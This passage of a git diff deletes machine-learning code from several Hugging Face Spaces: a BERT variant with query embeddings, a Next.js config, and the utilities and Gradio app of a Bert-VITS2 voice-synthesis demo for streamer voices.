-            Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
-            the model is configured as a decoder.
-        encoder_attention_mask (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
-            the cross-attention if the model is configured as a decoder. Mask values selected in ``[0, 1]``:
-            - 1 for tokens that are **not masked**,
-            - 0 for tokens that are **masked**.
-        past_key_values (:obj:`tuple(tuple(torch.FloatTensor))` of length :obj:`config.n_layers` with each tuple having 4 tensors of shape :obj:`(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
-            Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
-            If :obj:`past_key_values` are used, the user can optionally input only the last :obj:`decoder_input_ids`
-            (those that don't have their past key value states given to this model) of shape :obj:`(batch_size, 1)`
-            instead of all :obj:`decoder_input_ids` of shape :obj:`(batch_size, sequence_length)`.
-        use_cache (:obj:`bool`, `optional`):
-            If set to :obj:`True`, :obj:`past_key_values` key value states are returned and can be used to speed up
-            decoding (see :obj:`past_key_values`).
-        """
-        output_attentions = (
-            output_attentions
-            if output_attentions is not None
-            else self.config.output_attentions
-        )
-        output_hidden_states = (
-            output_hidden_states
-            if output_hidden_states is not None
-            else self.config.output_hidden_states
-        )
-        return_dict = (
-            return_dict if return_dict is not None else self.config.use_return_dict
-        )
-
-        # use_cache = use_cache if use_cache is not None else self.config.use_cache
-
-        if input_ids is None:
-            assert (
-                query_embeds is not None
-            ), "You have to specify query_embeds when input_ids is None"
-
-        # past_key_values_length
-        past_key_values_length = (
-            past_key_values[0][0].shape[2] - self.config.query_length
-            if past_key_values is not None
-            else 0
-        )
-
-        query_length = query_embeds.shape[1] if query_embeds is not None else 0
-
-        embedding_output = self.embeddings(
-            input_ids=input_ids,
-            position_ids=position_ids,
-            query_embeds=query_embeds,
-            past_key_values_length=past_key_values_length,
-        )
-
-        input_shape = embedding_output.size()[:-1]
-        batch_size, seq_length = input_shape
-        device = embedding_output.device
-
-        if attention_mask is None:
-            attention_mask = torch.ones(
-                ((batch_size, seq_length + past_key_values_length)), device=device
-            )
-
-        # We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
-        # ourselves in which case we just need to make it broadcastable to all heads.
-        if is_decoder:
-            extended_attention_mask = self.get_extended_attention_mask(
-                attention_mask,
-                input_ids.shape,
-                device,
-                is_decoder,
-                has_query=(query_embeds is not None),
-            )
-        else:
-            extended_attention_mask = self.get_extended_attention_mask(
-                attention_mask, input_shape, device, is_decoder
-            )
-
-        # If a 2D or 3D attention mask is provided for the cross-attention
-        # we need to make broadcastable to [batch_size, num_heads, seq_length, seq_length]
-        if encoder_hidden_states is not None:
-            if type(encoder_hidden_states) == list:
-                encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states[
-                    0
-                ].size()
-            else:
-                (
-                    encoder_batch_size,
-                    encoder_sequence_length,
-                    _,
-                ) = encoder_hidden_states.size()
-            encoder_hidden_shape = (encoder_batch_size, encoder_sequence_length)
-
-            if type(encoder_attention_mask) == list:
-                encoder_extended_attention_mask = [
-                    self.invert_attention_mask(mask) for mask in encoder_attention_mask
-                ]
-            elif encoder_attention_mask is None:
-                encoder_attention_mask = torch.ones(encoder_hidden_shape, device=device)
-                encoder_extended_attention_mask = self.invert_attention_mask(
-                    encoder_attention_mask
-                )
-            else:
-                encoder_extended_attention_mask = self.invert_attention_mask(
-                    encoder_attention_mask
-                )
-        else:
-            encoder_extended_attention_mask = None
-
-        # Prepare head mask if needed
-        # 1.0 in head_mask indicate we keep the head
-        # attention_probs has shape bsz x n_heads x N x N
-        # input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
-        # and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
-        head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
-
-        encoder_outputs = self.encoder(
-            embedding_output,
-            attention_mask=extended_attention_mask,
-            head_mask=head_mask,
-            encoder_hidden_states=encoder_hidden_states,
-            encoder_attention_mask=encoder_extended_attention_mask,
-            past_key_values=past_key_values,
-            use_cache=use_cache,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-            query_length=query_length,
-        )
-        sequence_output = encoder_outputs[0]
-        pooled_output = (
-            self.pooler(sequence_output) if self.pooler is not None else None
-        )
-
-        if not return_dict:
-            return (sequence_output, pooled_output) + encoder_outputs[1:]
-
-        return BaseModelOutputWithPoolingAndCrossAttentions(
-            last_hidden_state=sequence_output,
-            pooler_output=pooled_output,
-            past_key_values=encoder_outputs.past_key_values,
-            hidden_states=encoder_outputs.hidden_states,
-            attentions=encoder_outputs.attentions,
-            cross_attentions=encoder_outputs.cross_attentions,
-        )
-
-
-class BertLMHeadModel(BertPreTrainedModel):
-
-    _keys_to_ignore_on_load_unexpected = [r"pooler"]
-    _keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"]
-
-    def __init__(self, config):
-        super().__init__(config)
-
-        self.bert = BertModel(config, add_pooling_layer=False)
-        self.cls = BertOnlyMLMHead(config)
-
-        self.init_weights()
-
-    def get_output_embeddings(self):
-        return self.cls.predictions.decoder
-
-    def set_output_embeddings(self, new_embeddings):
-        self.cls.predictions.decoder = new_embeddings
-
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        position_ids=None,
-        head_mask=None,
-        query_embeds=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        labels=None,
-        past_key_values=None,
-        use_cache=True,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-        return_logits=False,
-        is_decoder=True,
-        reduction="mean",
-    ):
-        r"""
-        encoder_hidden_states  (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):
-            Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
-            the model is configured as a decoder.
-        encoder_attention_mask (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
-            the cross-attention if the model is configured as a decoder. Mask values selected in ``[0, 1]``:
-            - 1 for tokens that are **not masked**,
-            - 0 for tokens that are **masked**.
-        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Labels for computing the left-to-right language modeling loss (next word prediction). Indices should be in
-            ``[-100, 0, ..., config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are
-            ignored (masked), the loss is only computed for the tokens with labels n ``[0, ..., config.vocab_size]``
-        past_key_values (:obj:`tuple(tuple(torch.FloatTensor))` of length :obj:`config.n_layers` with each tuple having 4 tensors of shape :obj:`(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
-            Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
-            If :obj:`past_key_values` are used, the user can optionally input only the last :obj:`decoder_input_ids`
-            (those that don't have their past key value states given to this model) of shape :obj:`(batch_size, 1)`
-            instead of all :obj:`decoder_input_ids` of shape :obj:`(batch_size, sequence_length)`.
-        use_cache (:obj:`bool`, `optional`):
-            If set to :obj:`True`, :obj:`past_key_values` key value states are returned and can be used to speed up
-            decoding (see :obj:`past_key_values`).
-        Returns:
-        Example::
-            >>> from transformers import BertTokenizer, BertLMHeadModel, BertConfig
-            >>> import torch
-            >>> tokenizer = BertTokenizer.from_pretrained('bert-base-cased')
-            >>> config = BertConfig.from_pretrained("bert-base-cased")
-            >>> model = BertLMHeadModel.from_pretrained('bert-base-cased', config=config)
-            >>> inputs = tokenizer("Hello, my dog is cute", return_tensors="pt")
-            >>> outputs = model(**inputs)
-            >>> prediction_logits = outputs.logits
-        """
-        return_dict = (
-            return_dict if return_dict is not None else self.config.use_return_dict
-        )
-        if labels is not None:
-            use_cache = False
-        if past_key_values is not None:
-            query_embeds = None
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            query_embeds=query_embeds,
-            encoder_hidden_states=encoder_hidden_states,
-            encoder_attention_mask=encoder_attention_mask,
-            past_key_values=past_key_values,
-            use_cache=use_cache,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-            is_decoder=is_decoder,
-        )
-
-        sequence_output = outputs[0]
-        if query_embeds is not None:
-            sequence_output = outputs[0][:, query_embeds.shape[1] :, :]
-
-        prediction_scores = self.cls(sequence_output)
-
-        if return_logits:
-            return prediction_scores[:, :-1, :].contiguous()
-
-        lm_loss = None
-        if labels is not None:
-            # we are doing next-token prediction; shift prediction scores and input ids by one
-            shifted_prediction_scores = prediction_scores[:, :-1, :].contiguous()
-            labels = labels[:, 1:].contiguous()
-            loss_fct = CrossEntropyLoss(reduction=reduction, label_smoothing=0.1)
-            lm_loss = loss_fct(
-                shifted_prediction_scores.view(-1, self.config.vocab_size),
-                labels.view(-1),
-            )
-            if reduction == "none":
-                lm_loss = lm_loss.view(prediction_scores.size(0), -1).sum(1)
-
-        if not return_dict:
-            output = (prediction_scores,) + outputs[2:]
-            return ((lm_loss,) + output) if lm_loss is not None else output
-
-        return CausalLMOutputWithCrossAttentions(
-            loss=lm_loss,
-            logits=prediction_scores,
-            past_key_values=outputs.past_key_values,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-            cross_attentions=outputs.cross_attentions,
-        )
-
-    def prepare_inputs_for_generation(
-        self, input_ids, query_embeds, past=None, attention_mask=None, **model_kwargs
-    ):
-        # if model is used as a decoder in encoder-decoder model, the decoder attention mask is created on the fly
-        if attention_mask is None:
-            attention_mask = input_ids.new_ones(input_ids.shape)
-        query_mask = input_ids.new_ones(query_embeds.shape[:-1])
-        attention_mask = torch.cat([query_mask, attention_mask], dim=-1)
-
-        # cut decoder_input_ids if past is used
-        if past is not None:
-            input_ids = input_ids[:, -1:]
-
-        return {
-            "input_ids": input_ids,
-            "query_embeds": query_embeds,
-            "attention_mask": attention_mask,
-            "past_key_values": past,
-            "encoder_hidden_states": model_kwargs.get("encoder_hidden_states", None),
-            "encoder_attention_mask": model_kwargs.get("encoder_attention_mask", None),
-            "is_decoder": True,
-        }
-
-    def _reorder_cache(self, past, beam_idx):
-        reordered_past = ()
-        for layer_past in past:
-            reordered_past += (
-                tuple(
-                    past_state.index_select(0, beam_idx) for past_state in layer_past
-                ),
-            )
-        return reordered_past
-
-
-class BertForMaskedLM(BertPreTrainedModel):
-
-    _keys_to_ignore_on_load_unexpected = [r"pooler"]
-    _keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"]
-
-    def __init__(self, config):
-        super().__init__(config)
-
-        self.bert = BertModel(config, add_pooling_layer=False)
-        self.cls = BertOnlyMLMHead(config)
-
-        self.init_weights()
-
-    def get_output_embeddings(self):
-        return self.cls.predictions.decoder
-
-    def set_output_embeddings(self, new_embeddings):
-        self.cls.predictions.decoder = new_embeddings
-
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        position_ids=None,
-        head_mask=None,
-        query_embeds=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        labels=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-        return_logits=False,
-        is_decoder=False,
-    ):
-        r"""
-        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
-            config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
-            (masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``
-        """
-
-        return_dict = (
-            return_dict if return_dict is not None else self.config.use_return_dict
-        )
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            query_embeds=query_embeds,
-            encoder_hidden_states=encoder_hidden_states,
-            encoder_attention_mask=encoder_attention_mask,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-            is_decoder=is_decoder,
-        )
-
-        if query_embeds is not None:
-            sequence_output = outputs[0][:, query_embeds.shape[1] :, :]
-        prediction_scores = self.cls(sequence_output)
-
-        if return_logits:
-            return prediction_scores
-
-        masked_lm_loss = None
-        if labels is not None:
-            loss_fct = CrossEntropyLoss()  # -100 index = padding token
-            masked_lm_loss = loss_fct(
-                prediction_scores.view(-1, self.config.vocab_size), labels.view(-1)
-            )
-
-        if not return_dict:
-            output = (prediction_scores,) + outputs[2:]
-            return (
-                ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
-            )
-
-        return MaskedLMOutput(
-            loss=masked_lm_loss,
-            logits=prediction_scores,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-        )
diff --git a/spaces/Xenova/next-server-example-app/next.config.js b/spaces/Xenova/next-server-example-app/next.config.js
deleted file mode 100644
index a1a4c56e3ab54d0cf23d34d99d844244a9170ea4..0000000000000000000000000000000000000000
--- a/spaces/Xenova/next-server-example-app/next.config.js
+++ /dev/null
@@ -1,13 +0,0 @@
-/** @type {import('next').NextConfig} */
-const nextConfig = {
-    // (Optional) Export as a standalone site
-    // See https://nextjs.org/docs/pages/api-reference/next-config-js/output#automatically-copying-traced-files
-    output: 'standalone', // Feel free to modify/remove this option
-    
-    // Indicate that these packages should not be bundled by webpack
-    experimental: {
-        serverComponentsExternalPackages: ['sharp', 'onnxruntime-node'],
-    },
-};
-
-module.exports = nextConfig;
diff --git a/spaces/XzJosh/Azuma-Bert-VITS2/utils.py b/spaces/XzJosh/Azuma-Bert-VITS2/utils.py
deleted file mode 100644
index c6aa6cfc64c33e2eed33e9845239e831fc1c4a1a..0000000000000000000000000000000000000000
--- a/spaces/XzJosh/Azuma-Bert-VITS2/utils.py
+++ /dev/null
@@ -1,293 +0,0 @@
-import os
-import glob
-import sys
-import argparse
-import logging
-import json
-import subprocess
-import numpy as np
-from scipy.io.wavfile import read
-import torch
-
-MATPLOTLIB_FLAG = False
-
-logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
-logger = logging
-
-
-def load_checkpoint(checkpoint_path, model, optimizer=None, skip_optimizer=False):
-    assert os.path.isfile(checkpoint_path)
-    checkpoint_dict = torch.load(checkpoint_path, map_location='cpu')
-    iteration = checkpoint_dict['iteration']
-    learning_rate = checkpoint_dict['learning_rate']
-    if optimizer is not None and not skip_optimizer and checkpoint_dict['optimizer'] is not None:
-        optimizer.load_state_dict(checkpoint_dict['optimizer'])
-    elif optimizer is None and not skip_optimizer:  
-    #else: #Disable this line if Infer ,and enable the line upper
-        new_opt_dict = optimizer.state_dict()
-        new_opt_dict_params = new_opt_dict['param_groups'][0]['params']
-        new_opt_dict['param_groups'] = checkpoint_dict['optimizer']['param_groups']
-        new_opt_dict['param_groups'][0]['params'] = new_opt_dict_params
-        optimizer.load_state_dict(new_opt_dict)
-    saved_state_dict = checkpoint_dict['model']
-    if hasattr(model, 'module'):
-        state_dict = model.module.state_dict()
-    else:
-        state_dict = model.state_dict()
-    new_state_dict = {}
-    for k, v in state_dict.items():
-        try:
-            #assert "emb_g" not in k
-            # print("load", k)
-            new_state_dict[k] = saved_state_dict[k]
-            assert saved_state_dict[k].shape == v.shape, (saved_state_dict[k].shape, v.shape)
-        except:
-            print("error, %s is not in the checkpoint" % k)
-            new_state_dict[k] = v
-    if hasattr(model, 'module'):
-        model.module.load_state_dict(new_state_dict, strict=False)
-    else:
-        model.load_state_dict(new_state_dict, strict=False)
-    print("load ")
-    logger.info("Loaded checkpoint '{}' (iteration {})".format(
-        checkpoint_path, iteration))
-    return model, optimizer, learning_rate, iteration
-
-
-def save_checkpoint(model, optimizer, learning_rate, iteration, checkpoint_path):
-    logger.info("Saving model and optimizer state at iteration {} to {}".format(
-        iteration, checkpoint_path))
-    if hasattr(model, 'module'):
-        state_dict = model.module.state_dict()
-    else:
-        state_dict = model.state_dict()
-    torch.save({'model': state_dict,
-                'iteration': iteration,
-                'optimizer': optimizer.state_dict(),
-                'learning_rate': learning_rate}, checkpoint_path)
-
-
-def summarize(writer, global_step, scalars={}, histograms={}, images={}, audios={}, audio_sampling_rate=22050):
-    for k, v in scalars.items():
-        writer.add_scalar(k, v, global_step)
-    for k, v in histograms.items():
-        writer.add_histogram(k, v, global_step)
-    for k, v in images.items():
-        writer.add_image(k, v, global_step, dataformats='HWC')
-    for k, v in audios.items():
-        writer.add_audio(k, v, global_step, audio_sampling_rate)
-
-
-def latest_checkpoint_path(dir_path, regex="G_*.pth"):
-    f_list = glob.glob(os.path.join(dir_path, regex))
-    f_list.sort(key=lambda f: int("".join(filter(str.isdigit, f))))
-    x = f_list[-1]
-    print(x)
-    return x
-
-
-def plot_spectrogram_to_numpy(spectrogram):
-    global MATPLOTLIB_FLAG
-    if not MATPLOTLIB_FLAG:
-        import matplotlib
-        matplotlib.use("Agg")
-        MATPLOTLIB_FLAG = True
-        mpl_logger = logging.getLogger('matplotlib')
-        mpl_logger.setLevel(logging.WARNING)
-    import matplotlib.pylab as plt
-    import numpy as np
-
-    fig, ax = plt.subplots(figsize=(10, 2))
-    im = ax.imshow(spectrogram, aspect="auto", origin="lower",
-                   interpolation='none')
-    plt.colorbar(im, ax=ax)
-    plt.xlabel("Frames")
-    plt.ylabel("Channels")
-    plt.tight_layout()
-
-    fig.canvas.draw()
-    data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')
-    data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,))
-    plt.close()
-    return data
-
-
-def plot_alignment_to_numpy(alignment, info=None):
-    global MATPLOTLIB_FLAG
-    if not MATPLOTLIB_FLAG:
-        import matplotlib
-        matplotlib.use("Agg")
-        MATPLOTLIB_FLAG = True
-        mpl_logger = logging.getLogger('matplotlib')
-        mpl_logger.setLevel(logging.WARNING)
-    import matplotlib.pylab as plt
-    import numpy as np
-
-    fig, ax = plt.subplots(figsize=(6, 4))
-    im = ax.imshow(alignment.transpose(), aspect='auto', origin='lower',
-                   interpolation='none')
-    fig.colorbar(im, ax=ax)
-    xlabel = 'Decoder timestep'
-    if info is not None:
-        xlabel += '\n\n' + info
-    plt.xlabel(xlabel)
-    plt.ylabel('Encoder timestep')
-    plt.tight_layout()
-
-    fig.canvas.draw()
-    data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')
-    data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,))
-    plt.close()
-    return data
-
-
-def load_wav_to_torch(full_path):
-    sampling_rate, data = read(full_path)
-    return torch.FloatTensor(data.astype(np.float32)), sampling_rate
-
-
-def load_filepaths_and_text(filename, split="|"):
-    with open(filename, encoding='utf-8') as f:
-        filepaths_and_text = [line.strip().split(split) for line in f]
-    return filepaths_and_text
-
-
-def get_hparams(init=True):
-    parser = argparse.ArgumentParser()
-    parser.add_argument('-c', '--config', type=str, default="./configs/base.json",
-                        help='JSON file for configuration')
-    parser.add_argument('-m', '--model', type=str, default="./OUTPUT_MODEL",
-                        help='Model name')
-    parser.add_argument('--cont', dest='cont', action="store_true", default=False, help="whether to continue training on the latest checkpoint")
-
-    args = parser.parse_args()
-    model_dir = os.path.join("./logs", args.model)
-
-    if not os.path.exists(model_dir):
-        os.makedirs(model_dir)
-
-    config_path = args.config
-    config_save_path = os.path.join(model_dir, "config.json")
-    if init:
-        with open(config_path, "r") as f:
-            data = f.read()
-        with open(config_save_path, "w") as f:
-            f.write(data)
-    else:
-        with open(config_save_path, "r") as f:
-            data = f.read()
-    config = json.loads(data)
-
-    hparams = HParams(**config)
-    hparams.model_dir = model_dir
-    hparams.cont = args.cont
-    return hparams
-
-
-def clean_checkpoints(path_to_models='logs/44k/', n_ckpts_to_keep=2, sort_by_time=True):
-    """Freeing up space by deleting saved ckpts
-
-  Arguments:
-  path_to_models    --  Path to the model directory
-  n_ckpts_to_keep   --  Number of ckpts to keep, excluding G_0.pth and D_0.pth
-  sort_by_time      --  True -> chronologically delete ckpts
-                        False -> lexicographically delete ckpts
-  """
-    import re
-    ckpts_files = [f for f in os.listdir(path_to_models) if os.path.isfile(os.path.join(path_to_models, f))]
-    name_key = (lambda _f: int(re.compile('._(\d+)\.pth').match(_f).group(1)))
-    time_key = (lambda _f: os.path.getmtime(os.path.join(path_to_models, _f)))
-    sort_key = time_key if sort_by_time else name_key
-    x_sorted = lambda _x: sorted([f for f in ckpts_files if f.startswith(_x) and not f.endswith('_0.pth')],
-                                 key=sort_key)
-    to_del = [os.path.join(path_to_models, fn) for fn in
-              (x_sorted('G')[:-n_ckpts_to_keep] + x_sorted('D')[:-n_ckpts_to_keep])]
-    del_info = lambda fn: logger.info(f".. Free up space by deleting ckpt {fn}")
-    del_routine = lambda x: [os.remove(x), del_info(x)]
-    rs = [del_routine(fn) for fn in to_del]
-
-def get_hparams_from_dir(model_dir):
-    config_save_path = os.path.join(model_dir, "config.json")
-    with open(config_save_path, "r") as f:
-        data = f.read()
-    config = json.loads(data)
-
-    hparams = HParams(**config)
-    hparams.model_dir = model_dir
-    return hparams
-
-
-def get_hparams_from_file(config_path):
-    with open(config_path, "r") as f:
-        data = f.read()
-    config = json.loads(data)
-
-    hparams = HParams(**config)
-    return hparams
-
-
-def check_git_hash(model_dir):
-    source_dir = os.path.dirname(os.path.realpath(__file__))
-    if not os.path.exists(os.path.join(source_dir, ".git")):
-        logger.warn("{} is not a git repository, therefore hash value comparison will be ignored.".format(
-            source_dir
-        ))
-        return
-
-    cur_hash = subprocess.getoutput("git rev-parse HEAD")
-
-    path = os.path.join(model_dir, "githash")
-    if os.path.exists(path):
-        saved_hash = open(path).read()
-        if saved_hash != cur_hash:
-            logger.warn("git hash values are different. {}(saved) != {}(current)".format(
-                saved_hash[:8], cur_hash[:8]))
-    else:
-        open(path, "w").write(cur_hash)
-
-
-def get_logger(model_dir, filename="train.log"):
-    global logger
-    logger = logging.getLogger(os.path.basename(model_dir))
-    logger.setLevel(logging.DEBUG)
-
-    formatter = logging.Formatter("%(asctime)s\t%(name)s\t%(levelname)s\t%(message)s")
-    if not os.path.exists(model_dir):
-        os.makedirs(model_dir)
-    h = logging.FileHandler(os.path.join(model_dir, filename))
-    h.setLevel(logging.DEBUG)
-    h.setFormatter(formatter)
-    logger.addHandler(h)
-    return logger
-
-
-class HParams():
-    def __init__(self, **kwargs):
-        for k, v in kwargs.items():
-            if type(v) == dict:
-                v = HParams(**v)
-            self[k] = v
-
-    def keys(self):
-        return self.__dict__.keys()
-
-    def items(self):
-        return self.__dict__.items()
-
-    def values(self):
-        return self.__dict__.values()
-
-    def __len__(self):
-        return len(self.__dict__)
-
-    def __getitem__(self, key):
-        return getattr(self, key)
-
-    def __setitem__(self, key, value):
-        return setattr(self, key, value)
-
-    def __contains__(self, key):
-        return key in self.__dict__
-
-    def __repr__(self):
-        return self.__dict__.__repr__()
diff --git a/spaces/XzJosh/Bekki-Bert-VITS2/app.py b/spaces/XzJosh/Bekki-Bert-VITS2/app.py
deleted file mode 100644
index a0c34ebc4d037a4253176cf9507deae9f5940848..0000000000000000000000000000000000000000
--- a/spaces/XzJosh/Bekki-Bert-VITS2/app.py
+++ /dev/null
@@ -1,159 +0,0 @@
-import sys, os
-
-if sys.platform == "darwin":
-    os.environ["PYTORCH_ENABLE_MPS_FALLBACK"] = "1"
-
-import logging
-
-logging.getLogger("numba").setLevel(logging.WARNING)
-logging.getLogger("markdown_it").setLevel(logging.WARNING)
-logging.getLogger("urllib3").setLevel(logging.WARNING)
-logging.getLogger("matplotlib").setLevel(logging.WARNING)
-
-logging.basicConfig(level=logging.INFO, format="| %(name)s | %(levelname)s | %(message)s")
-
-logger = logging.getLogger(__name__)
-
-import torch
-import argparse
-import commons
-import utils
-from models import SynthesizerTrn
-from text.symbols import symbols
-from text import cleaned_text_to_sequence, get_bert
-from text.cleaner import clean_text
-import gradio as gr
-import webbrowser
-
-
-net_g = None
-
-
-def get_text(text, language_str, hps):
-    norm_text, phone, tone, word2ph = clean_text(text, language_str)
-    phone, tone, language = cleaned_text_to_sequence(phone, tone, language_str)
-
-    if hps.data.add_blank:
-        phone = commons.intersperse(phone, 0)
-        tone = commons.intersperse(tone, 0)
-        language = commons.intersperse(language, 0)
-        for i in range(len(word2ph)):
-            word2ph[i] = word2ph[i] * 2
-        word2ph[0] += 1
-    bert = get_bert(norm_text, word2ph, language_str)
-    del word2ph
-
-    assert bert.shape[-1] == len(phone)
-
-    phone = torch.LongTensor(phone)
-    tone = torch.LongTensor(tone)
-    language = torch.LongTensor(language)
-
-    return bert, phone, tone, language
-
-def infer(text, sdp_ratio, noise_scale, noise_scale_w, length_scale, sid):
-    global net_g
-    bert, phones, tones, lang_ids = get_text(text, "ZH", hps)
-    with torch.no_grad():
-        x_tst=phones.to(device).unsqueeze(0)
-        tones=tones.to(device).unsqueeze(0)
-        lang_ids=lang_ids.to(device).unsqueeze(0)
-        bert = bert.to(device).unsqueeze(0)
-        x_tst_lengths = torch.LongTensor([phones.size(0)]).to(device)
-        del phones
-        speakers = torch.LongTensor([hps.data.spk2id[sid]]).to(device)
-        audio = net_g.infer(x_tst, x_tst_lengths, speakers, tones, lang_ids, bert, sdp_ratio=sdp_ratio
-                           , noise_scale=noise_scale, noise_scale_w=noise_scale_w, length_scale=length_scale)[0][0,0].data.cpu().float().numpy()
-        del x_tst, tones, lang_ids, bert, x_tst_lengths, speakers
-        return audio
-
-def tts_fn(text, speaker, sdp_ratio, noise_scale, noise_scale_w, length_scale):
-    with torch.no_grad():
-        audio = infer(text, sdp_ratio=sdp_ratio, noise_scale=noise_scale, noise_scale_w=noise_scale_w, length_scale=length_scale, sid=speaker)
-    return "Success", (hps.data.sampling_rate, audio)
-
-
-if __name__ == "__main__":
-    parser = argparse.ArgumentParser()
-    parser.add_argument("--model_dir", default="./logs/Bekki/G_3200.pth", help="path of your model")
-    parser.add_argument("--config_dir", default="./configs/config.json", help="path of your config file")
-    parser.add_argument("--share", default=False, help="make link public")
-    parser.add_argument("-d", "--debug", action="store_true", help="enable DEBUG-LEVEL log")
-
-    args = parser.parse_args()
-    if args.debug:
-        logger.info("Enable DEBUG-LEVEL log")
-        logging.basicConfig(level=logging.DEBUG)
-    hps = utils.get_hparams_from_file(args.config_dir)
-    device = "cuda:0" if torch.cuda.is_available() else "cpu"
-    '''
-    device = (
-        "cuda:0"
-        if torch.cuda.is_available()
-        else (
-            "mps"
-            if sys.platform == "darwin" and torch.backends.mps.is_available()
-            else "cpu"
-        )
-    )
-    '''
-    net_g = SynthesizerTrn(
-        len(symbols),
-        hps.data.filter_length // 2 + 1,
-        hps.train.segment_size // hps.data.hop_length,
-        n_speakers=hps.data.n_speakers,
-        **hps.model).to(device)
-    _ = net_g.eval()
-
-    _ = utils.load_checkpoint(args.model_dir, net_g, None, skip_optimizer=True)
-
-    speaker_ids = hps.data.spk2id
-    speakers = list(speaker_ids.keys())
-    with gr.Blocks() as app:
-        with gr.Row():
-            with gr.Column():
-                gr.Markdown(value="""
-                【AI恬豆①】在线语音合成（Bert-Vits2）\n
-                作者：Xz乔希 https://space.bilibili.com/5859321\n
-                声音归属：恬豆发芽了 https://space.bilibili.com/1660392980\n
-                【AI恬豆②】https://huggingface.co/spaces/XzJosh/TianDou-Bert-VITS2\n
-                Bert-VITS2项目：https://github.com/Stardust-minus/Bert-VITS2\n
-                使用本模型请严格遵守法律法规！\n
-                发布二创作品请标注本项目作者及链接、作品使用Bert-VITS2 AI生成！\n                
-                """)
-                text = gr.TextArea(label="Text", placeholder="Input Text Here",
-                                      value="大家好啊，我是恬豆，今天来点大家想看的东西啊")
-                speaker = gr.Dropdown(choices=speakers, value=speakers[0], label='Speaker')
-                sdp_ratio = gr.Slider(minimum=0.1, maximum=1, value=0.2, step=0.01, label='SDP/DP混合比')
-                noise_scale = gr.Slider(minimum=0.1, maximum=1, value=0.5, step=0.01, label='感情调节')
-                noise_scale_w = gr.Slider(minimum=0.1, maximum=1, value=0.9, step=0.01, label='音素长度')
-                length_scale = gr.Slider(minimum=0.1, maximum=2, value=1, step=0.01, label='生成长度')
-                btn = gr.Button("点击生成", variant="primary")
-            with gr.Column():
-                text_output = gr.Textbox(label="Message")
-                audio_output = gr.Audio(label="Output Audio")
-                gr.Markdown(value="""
-                【AI星瞳】https://huggingface.co/spaces/XzJosh/XingTong-Bert-VITS2\n
-                【AI尼奈】https://huggingface.co/spaces/XzJosh/nine1-Bert-VITS2\n
-                【AI扇宝】https://huggingface.co/spaces/XzJosh/ShanBao-Bert-VITS2\n
-                【AI剑魔】https://huggingface.co/spaces/XzJosh/Aatrox-Bert-VITS2\n
-                【AI塔菲】https://huggingface.co/spaces/XzJosh/Taffy-Bert-VITS2\n
-                【AI东雪莲】https://huggingface.co/spaces/XzJosh/Azuma-Bert-VITS2\n
-                【AI奶绿】https://huggingface.co/spaces/XzJosh/LAPLACE-Bert-VITS2\n
-                【AI七海】https://huggingface.co/spaces/XzJosh/Nana7mi-Bert-VITS2\n
-                【AI阿梓】https://huggingface.co/spaces/XzJosh/Azusa-Bert-VITS2\n
-                【AI嘉然】https://huggingface.co/spaces/XzJosh/Diana-Bert-VITS2\n
-                【AI向晚】https://huggingface.co/spaces/XzJosh/Ava-Bert-VITS2\n
-                【AI乃琳】https://huggingface.co/spaces/XzJosh/Eileen-Bert-VITS2\n
-                【AI贝拉】https://huggingface.co/spaces/XzJosh/Bella-Bert-VITS2\n
-                【AI珈乐】https://huggingface.co/spaces/XzJosh/Carol-Bert-VITS2\n
-                【AI电棍】https://huggingface.co/spaces/XzJosh/otto-Bert-VITS2\n
-                 """)
-        btn.click(tts_fn,
